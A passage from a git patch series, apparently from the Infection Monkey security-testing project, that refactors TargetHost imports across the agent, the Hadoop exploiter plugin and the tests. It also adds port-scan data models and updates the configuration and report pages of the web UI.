import PingScanData -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet.target_host import TargetHost -from . import PortScanData +from . import PingScanData, PortScanData class UnknownPluginError(Exception): diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 856256bed3e..5035cd9e322 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -7,8 +7,7 @@ from common.agent_configuration.agent_sub_configurations import ExploitationConfiguration from common.types import Event from infection_monkey.custom_types import PropagationCredentials -from infection_monkey.i_puppet import ExploiterResultData, IPuppet, RejectedRequestError -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import ExploiterResultData, IPuppet, RejectedRequestError, TargetHost from infection_monkey.utils.threading import interruptible_iter, run_worker_threads QUEUE_TIMEOUT = 2 diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 525709f0acd..c89faf58070 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -16,8 +16,8 @@ FingerprintData, PingScanData, PortScanData, + TargetHost, ) -from infection_monkey.model import TargetHost from infection_monkey.network import NetworkAddress from infection_monkey.network_scanning.scan_target_generator import compile_scan_target_list from infection_monkey.utils.threading import create_daemon_thread diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 4f523003ebd..206f41f9db5 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,5 +1,3 @@ -from infection_monkey.model.host import TargetHost - MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" ID_STRING = "M0NK3Y3XPL0ITABLE" diff --git a/monkey/infection_monkey/puppet/plugin_compatability_verifier.py b/monkey/infection_monkey/puppet/plugin_compatability_verifier.py index 7da1c36bcd8..d47bd20e940 100644 --- a/monkey/infection_monkey/puppet/plugin_compatability_verifier.py +++ b/monkey/infection_monkey/puppet/plugin_compatability_verifier.py @@ -3,8 +3,8 @@ from typing import Mapping, Optional from common.agent_plugins import AgentPluginManifest, AgentPluginType +from infection_monkey.i_puppet import TargetHost from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIError -from infection_monkey.model import TargetHost logger = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index ee1759e0e23..81ec7c52797 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -14,8 +14,8 @@ IPuppet, PingScanData, PortScanData, + TargetHost, ) -from infection_monkey.model import TargetHost from infection_monkey.puppet import PluginCompatabilityVerifier from . import PluginRegistry From 7986b9d93e91a0ec39af0946567dc1d11d5e649f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Feb 2023 18:24:29 +0530 Subject: [PATCH 0089/1338] Hadoop: Fix TargetHost imports --- .../exploiters/hadoop/src/hadoop_command_builder.py | 3 ++- .../exploiters/hadoop/src/hadoop_exploit_client.py | 2 +- monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py | 3 +-- monkey/agent_plugins/exploiters/hadoop/src/plugin.py | 3 +-- 4 files changed, 5 insertions(+), 6 deletions(-) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py index 4415535091a..19b61dc14e1 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py @@ -2,7 +2,8 @@ from common import OperatingSystem from infection_monkey.exploit.tools.helpers import get_agent_dst_path -from infection_monkey.model import MONKEY_ARG, TargetHost +from infection_monkey.i_puppet import TargetHost +from infection_monkey.model import MONKEY_ARG from infection_monkey.utils.commands import build_monkey_commandline HADOOP_WINDOWS_COMMAND_TEMPLATE = ( diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploit_client.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploit_client.py index 96602cd7006..77f3a6ec8b0 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploit_client.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploit_client.py @@ -19,7 +19,7 @@ ) from common.types import Event from common.utils.code_utils import insecure_generate_random_string -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import TargetHost from .hadoop_options import HadoopOptions diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py index 3e2bb8a1b91..b4eb96e5c26 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py @@ -4,8 +4,7 @@ from common.types import Event from infection_monkey.exploit.tools import HTTPBytesServer from infection_monkey.exploit.tools.web_tools import build_urls -from infection_monkey.i_puppet import ExploiterResultData -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.utils.threading import interruptible_iter from .hadoop_command_builder import build_hadoop_command diff --git a/monkey/agent_plugins/exploiters/hadoop/src/plugin.py b/monkey/agent_plugins/exploiters/hadoop/src/plugin.py index ef513fdf8b3..9e49b4280f1 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/plugin.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/plugin.py @@ -18,8 +18,7 @@ # dependencies to get rid of or internalize from infection_monkey.exploit import IAgentBinaryRepository from infection_monkey.exploit.tools.http_agent_binary_server import start_agent_binary_server -from infection_monkey.i_puppet import ExploiterResultData -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.network import TCPPortSelector from .hadoop_exploit_client import HadoopExploitClient From 25b3b25b08f4f3264c6cd03d6c11e4b697325b66 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Feb 2023 18:24:58 +0530 Subject: [PATCH 0090/1338] UT: Fix TargetHost imports --- monkey/tests/agent_plugins/exploiter_plugin_runner.py | 2 +- monkey/tests/data_for_tests/agent_plugin/mock1/src/plugin.py | 3 +-- monkey/tests/data_for_tests/agent_plugin/mock2/src/plugin.py | 3 +-- .../agent_plugin/mock_multiple_vendors/src/plugin.py | 3 +-- .../exploiters/hadoop/test_hadoop_exploit_client.py | 2 +- .../agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py | 3 +-- .../unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py | 3 +-- .../unit_tests/infection_monkey/exploit/test_zerologon.py | 2 +- .../infection_monkey/exploit/zerologon_utils/test_dc_utils.py | 2 +- monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py | 2 +- .../tests/unit_tests/infection_monkey/master/test_exploiter.py | 2 +- .../puppet/test_plugin_compatability_verifier.py | 2 +- monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py | 3 +-- 13 files changed, 13 insertions(+), 19 deletions(-) diff --git a/monkey/tests/agent_plugins/exploiter_plugin_runner.py b/monkey/tests/agent_plugins/exploiter_plugin_runner.py index 1a89ce0d413..5f3ac421af1 100644 --- a/monkey/tests/agent_plugins/exploiter_plugin_runner.py +++ b/monkey/tests/agent_plugins/exploiter_plugin_runner.py @@ -10,7 +10,7 @@ from common import OperatingSystem from common.event_queue import IAgentEventPublisher from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import TargetHost from infection_monkey.network import TCPPortSelector host = TargetHost(ip=IPv4Address("10.2.2.2"), operating_system=OperatingSystem.LINUX, icmp=True) diff --git a/monkey/tests/data_for_tests/agent_plugin/mock1/src/plugin.py b/monkey/tests/data_for_tests/agent_plugin/mock1/src/plugin.py index c9118b36961..e9da8183f38 100644 --- a/monkey/tests/data_for_tests/agent_plugin/mock1/src/plugin.py +++ b/monkey/tests/data_for_tests/agent_plugin/mock1/src/plugin.py @@ -10,8 +10,7 @@ from common.event_queue import IAgentEventPublisher from common.types import AgentID from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.i_puppet import ExploiterResultData -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository from infection_monkey.utils.threading import interruptible_iter diff --git a/monkey/tests/data_for_tests/agent_plugin/mock2/src/plugin.py b/monkey/tests/data_for_tests/agent_plugin/mock2/src/plugin.py index 8eecd01f8eb..2213e7b00c4 100644 --- a/monkey/tests/data_for_tests/agent_plugin/mock2/src/plugin.py +++ b/monkey/tests/data_for_tests/agent_plugin/mock2/src/plugin.py @@ -8,8 +8,7 @@ from common.event_queue import IAgentEventPublisher from common.types import AgentID from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.i_puppet import ExploiterResultData -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository logger = logging.getLogger(__name__) diff --git a/monkey/tests/data_for_tests/agent_plugin/mock_multiple_vendors/src/plugin.py b/monkey/tests/data_for_tests/agent_plugin/mock_multiple_vendors/src/plugin.py index 83639e8833b..1218b32ec6b 100644 --- a/monkey/tests/data_for_tests/agent_plugin/mock_multiple_vendors/src/plugin.py +++ b/monkey/tests/data_for_tests/agent_plugin/mock_multiple_vendors/src/plugin.py @@ -8,8 +8,7 @@ from common.event_queue import IAgentEventPublisher from common.types import AgentID from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.i_puppet import ExploiterResultData -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.propagation_credentials_repository import IPropagationCredentialsRepository logger = logging.getLogger(__name__) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploit_client.py index 0b929aaf5d5..e2e25551674 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploit_client.py @@ -13,7 +13,7 @@ from common import OperatingSystem from common.agent_events import ExploitationEvent, PropagationEvent from common.event_queue import IAgentEventPublisher -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import TargetHost SERVERS = ["1.1.1.2, 1.1.1.3"] AGENT_ID = UUID("9614480d-471b-4568-86b5-cb922a34ed8a") diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py index cce0c6919c0..a9719a735cf 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py @@ -10,8 +10,7 @@ from common import OperatingSystem from infection_monkey.exploit.tools import HTTPBytesServer -from infection_monkey.i_puppet import ExploiterResultData -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import ExploiterResultData, TargetHost TARGET_IP = IPv4Address("1.1.1.1") SERVERS = ["10.10.10.10"] diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py index aa0b04a9402..fd25503b87a 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_plugin.py @@ -8,8 +8,7 @@ from agent_plugins.exploiters.hadoop.src.plugin import Plugin from common import OperatingSystem -from infection_monkey.i_puppet import ExploiterResultData -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import ExploiterResultData, TargetHost AGENT_ID = UUID("5c145d4e-ec61-44f7-998e-17477112f50f") BAD_HADOOP_OPTIONS_DICT = {"blah": "blah"} diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py index 05a7d09dec5..9b31e9f913a 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py @@ -5,7 +5,7 @@ from common.agent_events import ExploitationEvent, PasswordRestorationEvent from common.event_queue import IAgentEventQueue -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import TargetHost NETBIOS_NAME = "NetBIOS Name" diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/zerologon_utils/test_dc_utils.py b/monkey/tests/unit_tests/infection_monkey/exploit/zerologon_utils/test_dc_utils.py index 9e4a7f79eb7..a343a0e3e2c 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/zerologon_utils/test_dc_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/zerologon_utils/test_dc_utils.py @@ -4,7 +4,7 @@ from nmb.NetBIOS import NetBIOS from common.utils.exceptions import DomainControllerNameFetchError -from infection_monkey.model.host import TargetHost +from infection_monkey.i_puppet import TargetHost IP = "0.0.0.0" diff --git a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py index aa54019b90f..67fbc8caf84 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/master/mock_puppet.py @@ -12,8 +12,8 @@ IPuppet, PingScanData, PortScanData, + TargetHost, ) -from infection_monkey.model import TargetHost DOT_1 = "10.0.0.1" DOT_2 = "10.0.0.2" diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py index ae7a7952c90..5dcb31494bb 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_exploiter.py @@ -10,8 +10,8 @@ from common import OperatingSystem from common.agent_configuration import AgentConfiguration, ExploitationConfiguration +from infection_monkey.i_puppet import TargetHost from infection_monkey.master import Exploiter -from infection_monkey.model import TargetHost logger = logging.getLogger() diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_compatability_verifier.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_compatability_verifier.py index c16ce35fd71..76dec4163a7 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_compatability_verifier.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_compatability_verifier.py @@ -13,8 +13,8 @@ from common import OperatingSystem from common.agent_plugins.agent_plugin_manifest import AgentPluginManifest +from infection_monkey.i_puppet import TargetHost from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIError -from infection_monkey.model import TargetHost from infection_monkey.puppet import PluginCompatabilityVerifier FAKE_NAME3 = "BogusExploiter" diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py index 9d4919769ce..99f187a169e 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py @@ -8,8 +8,7 @@ from common import OperatingSystem from common.agent_plugins import AgentPluginType from common.event_queue import IAgentEventQueue -from infection_monkey.i_puppet import IncompatibleOperatingSystemError, PingScanData -from infection_monkey.model import TargetHost +from infection_monkey.i_puppet import IncompatibleOperatingSystemError, PingScanData, TargetHost from infection_monkey.puppet import PluginCompatabilityVerifier, PluginRegistry from infection_monkey.puppet.puppet import EMPTY_FINGERPRINT, Puppet From c0746e5ffbd8c37ac29e184c96fe9a5c6196a8c4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Feb 2023 20:00:25 +0530 Subject: [PATCH 0091/1338] Agent: Add TargetHostPorts pydantic object --- monkey/infection_monkey/i_puppet/target_host.py | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/target_host.py b/monkey/infection_monkey/i_puppet/target_host.py index d06d71ba1c2..5bc146c7c7c 100644 --- a/monkey/infection_monkey/i_puppet/target_host.py +++ b/monkey/infection_monkey/i_puppet/target_host.py @@ -1,25 +1,26 @@ from ipaddress import IPv4Address -from typing import Any, Dict, Optional, Union +from typing import Any, Dict, List, Optional from pydantic import Field -from typing_extensions import Literal # import from `typing` once we switch to Python 3.8 from common import OperatingSystem from common.base_models import MutableInfectionMonkeyBaseModel -from common.types import NetworkPort, NetworkProtocol +from common.types import NetworkPort from . import PortScanData +class TargetHostPorts(MutableInfectionMonkeyBaseModel): + tcp_ports: List[Dict[NetworkPort, PortScanData]] = Field(default=[]) + udp_ports: List[Dict[NetworkPort, PortScanData]] = Field(default=[]) + + class TargetHost(MutableInfectionMonkeyBaseModel): ip: IPv4Address operating_system: Optional[OperatingSystem] = Field(default=None) services: Dict[str, Any] = Field(default={}) # deprecated icmp: bool = Field(default=False) - port_status: Dict[ - Union[Literal[NetworkProtocol.TCP], Literal[NetworkProtocol.UDP]], - Dict[NetworkPort, PortScanData], - ] = Field(default={}) + ports_status: Optional[TargetHostPorts] def __hash__(self): return hash(self.ip) From 5d4c1cd9e7c161c412ae50abda0b474a414c8eaa Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Feb 2023 20:02:51 +0530 Subject: [PATCH 0092/1338] Agent: Add PortScanData.protocol --- monkey/infection_monkey/i_puppet/port_scan_data.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/i_puppet/port_scan_data.py b/monkey/infection_monkey/i_puppet/port_scan_data.py index e679e7fa725..c0dff49a55a 100644 --- a/monkey/infection_monkey/i_puppet/port_scan_data.py +++ b/monkey/infection_monkey/i_puppet/port_scan_data.py @@ -3,12 +3,13 @@ from pydantic import Field from common.base_models import InfectionMonkeyBaseModel -from common.types import NetworkPort, NetworkService, PortStatus +from common.types import NetworkPort, NetworkProtocol, NetworkService, PortStatus class PortScanData(InfectionMonkeyBaseModel): port: NetworkPort status: PortStatus + protocol: Optional[NetworkProtocol] banner: Optional[str] = Field(default=None) service: NetworkService = Field(default=NetworkService.UNKNOWN) service_deprecated: Optional[str] = Field(default=None) From 90fc0595992f80f74bf9902c1383a9a80b7d7df3 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 20 Feb 2023 12:57:45 +0530 Subject: [PATCH 0093/1338] Common: Add NetworkProtocol.UNKNOWN --- monkey/common/types/networking.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/common/types/networking.py b/monkey/common/types/networking.py index b12327f1efb..6ede660d7fa 100644 --- a/monkey/common/types/networking.py +++ b/monkey/common/types/networking.py @@ -20,6 +20,7 @@ class NetworkProtocol(Enum): TCP = "tcp" UDP = "udp" ICMP = "icmp" + UNKNOWN = "unknown" class NetworkService(Enum): From 269b68bd0e00651e52466d2bbdd8a00b506212f4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 20 Feb 2023 13:00:40 +0530 Subject: [PATCH 0094/1338] Agent: Modify PortScanData, TargetHost, and TargetHostPorts models --- monkey/infection_monkey/i_puppet/port_scan_data.py | 2 +- monkey/infection_monkey/i_puppet/target_host.py | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/port_scan_data.py b/monkey/infection_monkey/i_puppet/port_scan_data.py index c0dff49a55a..98afe1f85b4 100644 --- a/monkey/infection_monkey/i_puppet/port_scan_data.py +++ b/monkey/infection_monkey/i_puppet/port_scan_data.py @@ -9,7 +9,7 @@ class PortScanData(InfectionMonkeyBaseModel): port: NetworkPort status: PortStatus - protocol: Optional[NetworkProtocol] + protocol: NetworkProtocol = Field(default=NetworkProtocol.UNKNOWN) banner: Optional[str] = Field(default=None) service: NetworkService = Field(default=NetworkService.UNKNOWN) service_deprecated: Optional[str] = Field(default=None) diff --git a/monkey/infection_monkey/i_puppet/target_host.py b/monkey/infection_monkey/i_puppet/target_host.py index 5bc146c7c7c..9aabf9cd704 100644 --- a/monkey/infection_monkey/i_puppet/target_host.py +++ b/monkey/infection_monkey/i_puppet/target_host.py @@ -1,5 +1,5 @@ from ipaddress import IPv4Address -from typing import Any, Dict, List, Optional +from typing import Any, Dict, Optional from pydantic import Field @@ -11,8 +11,8 @@ class TargetHostPorts(MutableInfectionMonkeyBaseModel): - tcp_ports: List[Dict[NetworkPort, PortScanData]] = Field(default=[]) - udp_ports: List[Dict[NetworkPort, PortScanData]] = Field(default=[]) + tcp_ports: Dict[NetworkPort, PortScanData] = Field(default={}) + udp_ports: Dict[NetworkPort, PortScanData] = Field(default={}) class TargetHost(MutableInfectionMonkeyBaseModel): @@ -20,7 +20,7 @@ class TargetHost(MutableInfectionMonkeyBaseModel): operating_system: Optional[OperatingSystem] = Field(default=None) services: Dict[str, Any] = Field(default={}) # deprecated icmp: bool = Field(default=False) - ports_status: Optional[TargetHostPorts] + ports_status: TargetHostPorts = Field(default=TargetHostPorts()) def __hash__(self): return hash(self.ip) From b009981ee2ad1785a7399ebddedfc89e81153be0 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 20 Feb 2023 12:14:23 +0200 Subject: [PATCH 0095/1338] UI: Disable submit button on invalid config --- .../cc/ui/src/components/pages/ConfigurePage.js | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 675b9f7f9e0..fd3487541b7 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -46,6 +46,7 @@ class ConfigurePageComponent extends AuthComponent { constructor(props) { super(props); this.currentSection = this.getSectionsOrder()[0]; + this.validator = customizeValidator( {customFormats: formValidationFormats}); this.state = { configuration: {}, @@ -397,7 +398,7 @@ class ConfigurePageComponent extends AuthComponent { formProperties['className'] = 'config-form'; formProperties['liveValidate'] = true; formProperties['formData'] = this.state.currentFormData; - formProperties['validator'] = customizeValidator( {customFormats: formValidationFormats}); + formProperties['validator'] = this.validator; applyUiSchemaManipulators(this.state.selectedSection, formProperties['formData'], @@ -440,6 +441,11 @@ class ConfigurePageComponent extends AuthComponent { ) }; + isSubmitDisabled = () => { + let errors = this.validator.validateFormData(this.state.configuration, this.state.schema); + return errors.errors.length > 0 + } + render() { let displayedSchema = {}; if (Object.prototype.hasOwnProperty.call(this.state.schema, 'properties')) { @@ -463,7 +469,8 @@ class ConfigurePageComponent extends AuthComponent { {content}
From 3268708dbab006fc6c56eba436ca65450bb0d4b3 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 3 Mar 2023 22:03:56 +0000 Subject: [PATCH 0324/1338] UI: Handle navigation between report tabs --- .../cc/ui/src/components/pages/ReportPage.js | 168 ------------------ .../cc/ui/src/components/pages/ReportPage.tsx | 148 +++++++++++++++ 2 files changed, 148 insertions(+), 168 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js create mode 100644 monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js deleted file mode 100644 index 925c6aee14e..00000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ /dev/null @@ -1,168 +0,0 @@ -import React from 'react'; -import {Route} from 'react-router-dom'; -import {Col, Nav} from 'react-bootstrap'; -import AuthComponent from '../AuthComponent'; -import MustRunMonkeyWarning from '../report-components/common/MustRunMonkeyWarning'; -import SecurityReport from '../report-components/SecurityReport'; -import RansomwareReport from '../report-components/RansomwareReport'; -import MonkeysStillAliveWarning from '../report-components/common/MonkeysStillAliveWarning'; -import {doesAnyAgentExist, didAllAgentsShutdown} from '../utils/ServerUtils.tsx' - - -class ReportPageComponent extends AuthComponent { - - constructor(props) { - super(props); - this.sections = ['security', 'ransomware']; - - this.state = { - securityReport: {}, - ransomwareReport: {}, - allMonkeysAreDead: false, - runStarted: true, - selectedSection: ReportPageComponent.selectReport(this.sections), - orderedSections: [{key: 'security', title: 'Security report'}] - }; - - } - - static selectReport(reports) { - let url = window.location.href; - for (let report_name in reports) { - if (Object.prototype.hasOwnProperty.call(reports, report_name) && url.endsWith(reports[report_name])) { - return reports[report_name]; - } - } - } - - getReportFromServer() { - doesAnyAgentExist().then(anyAgentExists => { - if (anyAgentExists) { - this.authFetch('/api/report/security') - .then(res => res.json()) - .then(res => { - this.setState({ - securityReport: res - }); - }); - this.authFetch('/api/report/ransomware') - .then(res => res.json()) - .then(res => { - this.setState({ - ransomwareReport: res - }); - }); - } - }); - } - - updateMonkeysRunning = () => { - doesAnyAgentExist().then(anyAgentExists => { - this.setState({ - runStarted: anyAgentExists - }) - }) - didAllAgentsShutdown().then(allAgentsShutdown => { - this.setState({ - allMonkeysAreDead: !this.state.runStarted || allAgentsShutdown - }) - }) - }; - - componentDidMount() { - this.updateMonkeysRunning(); - this.getReportFromServer(); - } - - setSelectedSection = (key) => { - this.setState({ - selectedSection: key - }); - }; - - renderNav = () => { - return ( - ( - )}/>) - }; - - renderNavButton = (section) => { - return ( - - { - }}> - {section.title} - - ) - }; - - getReportContent() { - switch (this.state.selectedSection) { - case 'security': - return (); - case 'ransomware': - return ( - - ); - } - } - - addRansomwareTab() { - let ransomwareTab = {key: 'ransomware', title: 'Ransomware report'}; - if(this.isRansomwareTabMissing(ransomwareTab)){ - if (this.props.islandMode === 'ransomware') { - this.state.orderedSections.splice(0, 0, ransomwareTab); - } - else { - this.state.orderedSections.push(ransomwareTab); - } - } - } - - isRansomwareTabMissing(ransomwareTab) { - return ( - this.props.islandMode !== undefined && - !this.state.orderedSections.some(tab => - (tab.key === ransomwareTab.key - && tab.title === ransomwareTab.title) - )); - } - - render() { - let content = ; - - this.addRansomwareTab(); - - if (this.state.runStarted) { - content = this.getReportContent(); - } - - return ( - -

3. Security Reports

- {this.renderNav()} - -
- {content} -
- - ); - } -} - -export default ReportPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx new file mode 100644 index 00000000000..9566a26b482 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.tsx @@ -0,0 +1,148 @@ +import React, {useEffect, useState} from 'react'; +import {Col, Nav} from 'react-bootstrap'; +import AuthComponent from '../AuthComponent'; +import MustRunMonkeyWarning from '../report-components/common/MustRunMonkeyWarning'; +import SecurityReport from '../report-components/SecurityReport'; +import RansomwareReport from '../report-components/RansomwareReport'; +import MonkeysStillAliveWarning from '../report-components/common/MonkeysStillAliveWarning'; +import {doesAnyAgentExist, didAllAgentsShutdown} from '../utils/ServerUtils' +import {useNavigate} from 'react-router-dom'; + + +type Props = { + islandMode: string, +}; + +function ReportPage(props: Props) { + const sections = ['security', 'ransomware']; + const [securityReport, setSecurityReport] = useState({}); + const [ransomwareReport, setRansomwareReport] = useState({}); + const [allMonkeysAreDead, setAllMonkeysAreDead] = useState(false); + const [runStarted, setRunStarted] = useState(true); + const [selectedSection, setSelectedSection] = useState(selectReport(sections)); + const [orderedSections, setOrderedSections] = useState([{key: 'security', title: 'Security report'}]); + const authComponent = new AuthComponent({}); + + function selectReport(reports) { + let url = window.location.href; + for (let report_name in reports) { + if (Object.prototype.hasOwnProperty.call(reports, report_name) && url.endsWith(reports[report_name])) { + return reports[report_name]; + } + } + }; + + function getReportFromServer() { + doesAnyAgentExist().then(anyAgentExists => { + if (anyAgentExists) { + authComponent.authFetch('/api/report/security') + .then(res => res.json()) + .then(res => { + setSecurityReport(res); + }); + authComponent.authFetch('/api/report/ransomware') + .then(res => res.json()) + .then(res => { + setRansomwareReport(res); + }); + } + }); + }; + + function updateMonkeysRunning() { + doesAnyAgentExist().then(anyAgentExists => { + setRunStarted(anyAgentExists); + }); + didAllAgentsShutdown().then(allAgentsShutdown => { + setAllMonkeysAreDead(!runStarted || allAgentsShutdown); + }); + }; + + useEffect(() => { + updateMonkeysRunning(); + getReportFromServer(); + }); + + function renderNav() { + let navigate = useNavigate(); + return ( + ) + }; + + function renderNavButton(section) { + return ( + + { + }}> + {section.title} + + ) + }; + + function getReportContent() { + switch (selectedSection) { + case 'security': + return (); + case 'ransomware': + return (); + } + }; + + function addRansomwareTab() { + let ransomwareTab = {key: 'ransomware', title: 'Ransomware report'}; + if(isRansomwareTabMissing(ransomwareTab)){ + if (props.islandMode === 'ransomware') { + orderedSections.splice(0, 0, ransomwareTab); + } + else { + orderedSections.push(ransomwareTab); + } + } + }; + + function isRansomwareTabMissing(ransomwareTab) { + return ( + props.islandMode !== undefined && + !orderedSections.some(tab => + (tab.key === ransomwareTab.key + && tab.title === ransomwareTab.title) + )); + }; + + function renderContent() { + let content = ; + + addRansomwareTab(); + + if (runStarted) { + content = getReportContent(); + } + return content; + } + + return ( + +

3. Security Reports

+ {renderNav()} + +
+ {renderContent()} +
